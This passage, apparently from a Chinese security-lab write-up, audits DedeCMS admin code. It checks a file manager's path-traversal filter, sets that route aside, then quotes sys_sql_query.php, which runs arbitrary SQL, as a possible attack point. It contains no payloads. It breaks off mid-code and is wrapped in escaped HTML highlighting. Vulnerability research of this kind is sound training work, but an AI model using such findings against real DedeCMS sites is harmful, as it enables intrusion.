http:\u002F\u002Fhelp.dedecms.com\u002Fusersguide\u002Flicense.html\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E* @link           http:\u002F\u002Fwww.dedecms.com\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E*\u002F\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003C\u002Fcode\u003E\u003C\u002Fpre\u003E\u003Cp\u003E这里就能大概猜到了\u003C\u002Fp\u003E\u003Cp\u003E是一个文件管理器,可能对应着删除按钮,我们尝试能不能目录穿越\u003C\u002Fp\u003E\u003Cp\u003E不过这里是做了限制的\u003C\u002Fp\u003E\u003Cp\u003E\u003Cimg referrerpolicy=\"no-referrer\" src=\"https:\u002F\u002Fwww.yijinglab.com\u002Fguide-img\u002Fd9634e2f-3b66-42e7-8279-c0877cdd70e5\u002F2e4900b4-6772-48d6-abb6-ac6683e9d2c4.png\" width=\"720\" height=\"558.9473684210526\"\u003E\u003C\u002Fp\u003E\u003Cpre\u003E\u003Ccode\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$filename\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Epreg_replace\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"#([.]+[\u002F]+)*#\"\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"\"\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$filename\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003C\u002Fcode\u003E\u003C\u002Fpre\u003E\u003Cp\u003E移除 ..\u002F 形式的路径穿越字符\u003C\u002Fp\u003E\u003Cp\u003E而且下面还会直接移除..\u003C\u002Fp\u003E\u003Cp\u003E所以考虑放弃\u003C\u002Fp\u003E\u003Ch3\u003E案例 3\u003C\u002Fh3\u003E\u003Cp\u003E定位到 sys_sql_query.php 文件了\u003C\u002Fp\u003E\u003Cp\u003E发现可以执行 sql\u003C\u002Fp\u003E\u003Cpre\u003E\u003Ccode\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eif\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Epreg_match\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"#^select #i\"\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$sqlquery\u003C\u002Fspan\u003E))\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E   {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$dsql\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E->\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003ESetQuery\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$sqlquery\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$dsql\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E->\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EExecute\u003C\u002Fspan\u003E();\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eif\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$dsql\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E->\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EGetTotalRow\u003C\u002Fspan\u003E()\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E<=\u003C\u002Fspan\u003E\u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E0\u003C\u002Fspan\u003E)\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E       {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E            \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eecho\u003C\u002Fspan\u003E \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"运行SQL:\u003C\u002Fspan\u003E{\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$sqlquery\u003C\u002Fspan\u003E}\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E,无返回记录!\"\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E       }\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eelse\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E       {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E            \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eecho\u003C\u002Fspan\u003E \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"运行SQL:\u003C\u002Fspan\u003E{\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$sqlquery\u003C\u002Fspan\u003E}\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E,共有\"\u003C\u002Fspan\u003E.\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$dsql\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E->\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EGetTotalRow\u003C\u002Fspan\u003E().\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"条记录,最大返回100条!\"\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E       }\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$j\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E0\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Ewhile\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$row\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$dsql\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E->\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EGetArray\u003C\u002Fspan\u003E())\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E       {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E            \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$j\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E++\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E            \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eif\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$j\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E>\u003C\u002Fspan\u003E \u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E100\u003C\u002Fspan\u003E)\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E           {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E                \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Ebreak\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E           }\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E            \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eecho\u003C\u002Fspan\u003E \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"<hr size=1 width='100%'\u002F>\"\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E            \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eecho\u003C\u002Fspan\u003E \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"记录:\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$j\u003C\u002Fspan\u003E\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E            \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eecho\u003C\u002Fspan\u003E \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"<hr size=1 width='100%'\u002F>\"\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E            \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eforeach\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$row\u003C\u002Fspan\u003E \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eas\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$k\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=>\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$v\u003C\u002Fspan\u003E)\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E           {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E                \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eecho\u003C\u002Fspan\u003E \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"<font color='red'>\u003C\u002Fspan\u003E{\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$k\u003C\u002Fspan\u003E}\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E:<\u002Ffont>\u003C\u002Fspan\u003E{\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$v\u003C\u002Fspan\u003E}\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E<br\u002F>\\r\\n\"\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E           }\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E       }\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eexit\u003C\u002Fspan\u003E();\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E   }\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E    \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eif\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$querytype\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E==\u003C\u002Fspan\u003E\u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E2\u003C\u002Fspan\u003E)\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E   {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E\u002F\u002F普通的SQL语句\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$sqlquery\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Estr_replace\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"\\r\"\u003C\u002Fspan\u003E,\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"\"\u003C\u002Fspan\u003E,\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$sqlquery\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$sqls\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Epreg_split\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"#;[ \\t]{0,}\\n#\"\u003C\u002Fspan\u003E,\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$sqlquery\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$nerrCode\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"\"\u003C\u002Fspan\u003E; \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$i\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E\u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E0\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eforeach\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$sqls\u003C\u002Fspan\u003E \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eas\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$q\u003C\u002Fspan\u003E)\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E       {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E            \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$q\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Etrim\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$q\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E            \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eif\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$q\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E==\u003C\u002Fspan\u003E\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"\"\u003C\u002Fspan\u003E)\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E           {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E                \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Econtinue\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E           }\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E            \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$dsql\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E->\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EExecuteNoneQuery\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$q\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E            \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$errCode\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Etrim\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$dsql\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E->\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EGetError\u003C\u002Fspan\u003E());\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E            \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eif\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$errCode\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E==\u003C\u002Fspan\u003E\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"\"\u003C\u002Fspan\u003E)\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E           {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E                \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$i\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E++\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E           }\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E            \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eelse\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E           {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E                \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$nerrCode\u003C\u002Fspan\u003E .\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"执行: <font color='blue'>\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$q\u003C\u002Fspan\u003E\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E<\u002Ffont> 出错,错误提示:<font color='red'>\"\u003C\u002Fspan\u003E.\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$errCode\u003C\u002Fspan\u003E.\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"<\u002Ffont><br>\"\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E           }\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E       }\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eecho\u003C\u002Fspan\u003E \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"成功执行\u003C\u002Fspan\u003E{\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$i\u003C\u002Fspan\u003E}\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 